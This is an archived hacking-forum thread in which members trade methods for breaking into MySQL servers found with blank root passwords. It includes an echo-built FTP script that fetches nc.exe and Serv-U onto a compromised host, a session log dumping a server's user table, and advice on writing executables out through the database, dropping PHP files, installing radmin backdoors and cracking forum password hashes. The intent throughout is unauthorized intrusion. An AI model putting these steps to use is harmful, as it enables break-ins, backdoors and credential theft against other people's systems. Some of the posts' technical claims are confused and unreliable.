hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: (my)sql Hack ....
man-FIRE
hello all
it my frist Post on Gouverment Security ...
(Sorry am not good in english am French)
i have a scanner MYsql , i found Admin Mysql axx 66.10*.*.*@mysqlscan#Cracked account: root/[null]
do you have a tutorial to hack this Exploit for put Server FTP ...
or is not possible
wink.gif thx you ++ all
EvilGod
Hello there tongue.gif
This is my first post on this great board too.
Sorry in advance for my bad english smile.gif

You can upload files on your Sql server simply creating an ftp putfile by the dos echo command.

A putfile is only a .txt file (it can have any file extension you want) that contains all the commands that ftp.exe must execute.

Example of putfile:
CODE

open <IP> <PORT>
user <username>
<password>
type binary
get <file1>
get <file2>
get <filex>
quit


---------

How to create this text file on the remote server?
Let's make an example!

-Open up a dos prompt on your computer
-From the dos prompt:
C:\>
-write:
echo this is an example>msg.txt

After executing this command you will see on your c:\ drive a file named "msg.txt" containing the text "this is an example".

-To add lines to this text file execute this command:
echo this is the second line of the example>>msg.txt

As you see this time I used two ">>" for the command.. that's because in this way we can add further lines to the text file instead of rewrite it (with one single ">")
Now your "msg.txt" text file has two lines.

Ok .. Example of commands to upload serv-u files:
CODE

echo open 123.456.34.45 21>msg.txt
echo user anonymous>>msg.txt
echo anony@anony.com>>msg.txt
echo type binary>>msg.txt
echo get nc.exe>>msg.txt
echo get tlist.exe>>msg.txt
echo get kill.exe>>msg.txt
echo get servu.ini>>msg.txt
echo get servu.exe>>msg.txt
echo get TzoLibr.dll>>msg.txt
echo get message.txt>>msg.txt
echo quit>>msg.txt


---------

Once your putfile is ready you can launch it by typing the following command:
ftp -i -n -v -s:msg.txt
where msg.tmp is the name of your putfile.

Respect and HAVE PHUN wink.gif
Peace out. dry.gif
Dillinja
Nice first post evil god!!! biggrin.gif

Welcome to GSO both of you.
GSecur
Very Nice this one is going to be transfered to the nain site.
EvilGod
tnx guyz cool.gif
Comedy
Nice, you learnsomething new every day smile.gif
man-FIRE
yes i use this command but you dont have Progz For connect to the MYsql NO mssql blink.gif
n1n1n1
hi
i'm looking for this scanner you mentiond man-FIRE. Could you pleas share it for the community ? wink.gif
man-FIRE
This Scanner IS HScan go to http://www.cnhonker.net/Down/show.php?id=63&down=1


Enjoy MY FRIEND biggrin.gif
VamPs
yer mysql is a lot harder.. i had a tut lol

best is to use it for hacking vbb boards tongue.gif
get the hash files and then use md5crack.exe to get password for users tongue.gif

then log in with admin tongue.gif

but if u want to root 1 its hard. 2 ways i have seen on chinese sites.

1 is build a cmdasp file in the iis www\ which takes like 12 lines of code sad.gif
u have to do line by line..

But mysql usually use apache not iis...

there is a net user ... \add tut to

but i forgotten it

essentially u build a file in the mysql table....

so not for faint hearted... hacking fxp boards is better lol by looking at hashes smile.gif

grtz
n1n1n1
QUOTE
get the hash files


how do you get the hash files ?

PS: thx for the scanner man!
man-FIRE
No problem biggrin.gif
man-FIRE
anyone have progz To Connect to MYSQL no on MSSQL ????
blink.gif
arhamz
anyone knows where i could find a document on mysql or something ... ill be glad if someone could guide me a lil .... smile.gif
w00dy
QUOTE
anyone knows where i could find a document on mysql or something



very first link when i google for mysql:
http://www.mysql.com/documentation/
arhamz
i was looking for the exploit doc or something but that was good too .... smile.gif thanx anywayz rolleyes.gif
VamPs
the dude that wanted to get the hashes ....


C:\mysqlscan\tools>mysql.exe -h ***.***.** -uroot
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 14 to server version: 3.23.47-nt

Type 'help' for help.

mysql> show databases;
+-----------+
| Database |
+-----------+
| andypics |
| gerlicher |
| infuse |
| mysql |
| robble |
| roster |
| test |
+-----------+
7 rows in set (0.31 sec)

mysql> use mysql;
Reading table information for completion of table and column names

Database changed
mysql> show tables;
+-----------------+
| Tables_in_mysql |
+-----------------+
| columns_priv |
| db |
| func |
| host |
| tables_priv |
| user |
+-----------------+
6 rows in set (0.30 sec)

mysql> select * from user;


+-----------+-------+------------------+-------------+-------------+------------
-+-------------+-------------+-----------+-------------+---------------+--------
------+-----------+------------+-----------------+------------+------------+
| Host | User | Password | Select_priv | Insert_priv | Update_priv
| Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process
_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv |
+-----------+-------+------------------+-------------+-------------+------------
-+-------------+-------------+-----------+-------------+---------------+--------
------+-----------+------------+-----------------+------------+------------+
| localhost | root | | Y | Y | Y
| Y | Y | Y | Y | Y | Y
| Y | Y | Y | Y | Y |
| % | root | | Y | Y | Y
| Y | Y | Y | Y | Y | Y
| Y | Y | Y | Y | Y |
| localhost | | | Y | Y | Y
| Y | Y | Y | Y | Y | Y
| Y | Y | Y | Y | Y |
| % | | | N | N | N
| N | N | N | N | N | N
| N | N | N | N | N |
| localhost | mysql | 3c21873862fdc801 | Y | Y | Y
| Y | Y | Y | Y | Y | Y
| Y | Y | Y | Y | Y |
+-----------+-------+------------------+-------------+-------------+------------
-+-------------+-------------+-----------+-------------+---------------+--------
------+-----------+------------+-----------------+------------+------------+
5 rows in set (0.38 sec)

mysql> quit
Bye

Made this tut by myself smile.gif

gotta do a full 1 sometime, cbf scaning tho
slex
hi its my first reply too ....
i'm looking too for MySQL monitor but i don't find it .. could u help me ?

thx
EXPLOiTED
important question. using sqlexec.exe to get a remote shell on the pc . does that leave any type of log anywhere
lee
hey, there is no tool to connect 2 a mysql like as sql!
anyway, if you can connect, you cant run dos-commands...
i searched about 2 months 4 a way, but no luck...

jetprice
Hello there you are busted!
phaeton
If you want a app for connecting to MySQL use EMS MySQL manager (google it). There is shareware ver available, it just allows you to do lots and lots of things on a MySQL DB, but not nearly as good as MSSQL.
The Storm
to hack mysql u need an exploit but there is no public mysql exploit. If someone has one thats working, this person should contact me i'll give you a lot for it. But I don't think anyone here has one.
flashb4ck
eeehm i want to add something 4 the echo script (not for mysql h3h3)

in the script i wouldn't use the binary mode but then type for the execution this command:

ftp -v -n -s:c:\yourfile.txt
Reaper527
QUOTE (lee @ Jan 28 2004, 04:17 PM)
hey, there is no tool to connect 2 a mysql like as sql!
anyway, if you can connect, you cant run dos-commands...
i searched about 2 months 4 a way, but no luck...

well, thats not 100% true, with HScan it will give you results, and if you double click the result you will connect in an exploit window, however it doesn't give you command line dos access like sqlexec does for MSSQL, it gives you access to the database as if you connected using phpmyadmin.
matrix001
Hi does anybody know how to handle special characters in mysql ?

I want to have this in my outfile: (excerpt)
CODE
szTempFile = ""C:\" & oFileSys.GetTempName()


So I changed the code to get the "s and the backslash in my outfile etc.:
CODE
Values("szTempFile = \"\"C:\\\" & oFileSys.GetTempName()")


But in my outfile the backslash is not shown. How to change the code that the backslash is shown as above in example 1(outfile)???
Steffan
A other way to hack mySQL is U inject U FTP app. (Serv-U, ...) in a new Table
and write it out to a file (like c:\winnt\test.exe)
Then U write a smale PHP file to the server from where U can execute it...

That's the only way I found that works well with mySQL ...

C'^ya
Steven
ara2
QUOTE
A other way to hack mySQL is U inject U FTP app. (Serv-U, ...) in a new Table
and write it out to a file (like c:\winnt\test.exe)
Then U write a smale PHP file to the server from where U can execute it...


To write a file from mysql, look into Select into file

Finding the document root from mysql could be fun if its not in a standard folder.

QUOTE
hey, there is no tool to connect 2 a mysql like as sql!


that would be mysql.exe tongue.gif
Devil
hmmm....got the commands to use mysql.exe but really not postive what to do....
CODE
MySQL commands:
Note that all text commands must be first on line and end with ';'
help    (\h)    Display this help.
?       (\?)    Synonym for `help'.
clear   (\c)    Clear command.
connect (\r)    Reconnect to the server. Optional arguments are db and host.
ego     (\G)    Send command to mysql server, display result vertically.
exit    (\q)    Exit mysql. Same as quit.
go      (\g)    Send command to mysql server.
notee   (\t)    Don't write into outfile.
print   (\p)    Print current command.
quit    (\q)    Quit mysql.
rehash  (\#)    Rebuild completion hash.
source  (\.)    Execute a SQL script file. Takes a file name as an argument.
status  (\s)    Get status information from the server.
tee     (\T)    Set outfile [to_outfile]. Append everything into given outfile.
use     (\u)    Use another database. Takes database name as argument.


do i have to echo open xx.xx.x.x

thats what the second post saidī...but to me thats soungs like mssql...somebody give me a hint or two??

Steffan
QUOTE (Devil @ Feb 1 2004, 05:01 PM)
do i have to echo open xx.xx.x.x

thats what the second post saidī...but to me thats soungs like mssql...somebody give me a hint or two??

*LOL* Damn SK's here -> RTFMFM !!!!!!!!!!!!!!!!!!!!!!

With tee (\T) U can set outputfile so U just create a new table and store U file U like to "upload" in this Table.
Then u query the Table (select * from xxx) and mySQL will write it to output file

Same U can do with scripts eg.
or use Mascon it's a GUI based mySQL Client if U don't know how to handle mysql.exe laugh.gif

Have a nice day rolleyes.gif

C'ya
Steven
UnDeRTaKeR
one of my friends have sucessfully exploited MySQL with exploit that his friend gave him but he don't want to give me the exploit for some reason... sad.gif
barty32
does anyone know to execute a file on a mysql????

I injected Serv-u into a table and wrote it out to a file.

But I don't what I should do. How can I start that File????


thx for your answer wink.gif
Chizo
Hello guys,

hm i think u can create a little table and write a php file in this. The output file u can move to www folder (but u must know the directory path). Than go to this file(www.hackeserver.org/phpfile.php) true this the file execute and this let it download (your servu). Ok in the real i have no idea to hack mysql! biggrin.gif
terrortbd
funny how MSSQL (microsoft sql) and MySQL are mistaken in this post. these are 2 totally different dbms...

mssql is an old "exploit" where ppl would scan for easy-to-guess user/pass combinations like sa/blank sa/admin etc etc. later scanners were introduced which could scan using dictionaries. then you can connect to the db and use xp_cmdshell to execute shell cmds.

you *COULD* try the same with mysql and code a scanner that would dictionary scan mysql servers. as said before in this thread its not as ez as mssql tho sad.gif i think i found a document on it on chonker.cn or xforce.net 1/2 yr ago or something. then use the methods discussed in this thread to "upload"/execute files...

an other option is using a exploit. i think there's some (old) public ones available. dunno if they are any good.. try k-otik.com
barty32
QUOTE (Chizo @ Feb 15 2004, 02:01 PM)
Hello guys,

hm i think u can create a little table and write a php file in this. The output file u can move to www folder (but u must know the directory path). Than go to this file(www.hackeserver.org/phpfile.php) true this the file execute and this let it download (your servu). Ok in the real i have no idea to hack mysql! biggrin.gif

It would be nice if you can tell how to write such a Phpscript wink.gif
m1k3
You can also do what i do which is to pack all your files into 1 .exe and then use a small 800byte webdownloader to dowlnoad your packed exe and then viola everything is setup.

Also its good to use something other than nc.exe which sux there are many mods of nc.exe but i prefer using radmin to backdoor because if used right it never dies biggrin.gif
barty32
hmm the servu I injected doesn't work

hmm nobody here who knows how it really workz


Or is a mySQL r00t account useless. I don't think so.


Plz tell me how it works sad.gif
matrix001
does any1 have antoher useful mysql scanner/bruter than hscan ???
toost
xfind, sqllhf.exe google on it and u got it
matrix001
mYsql not mssql unsure.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.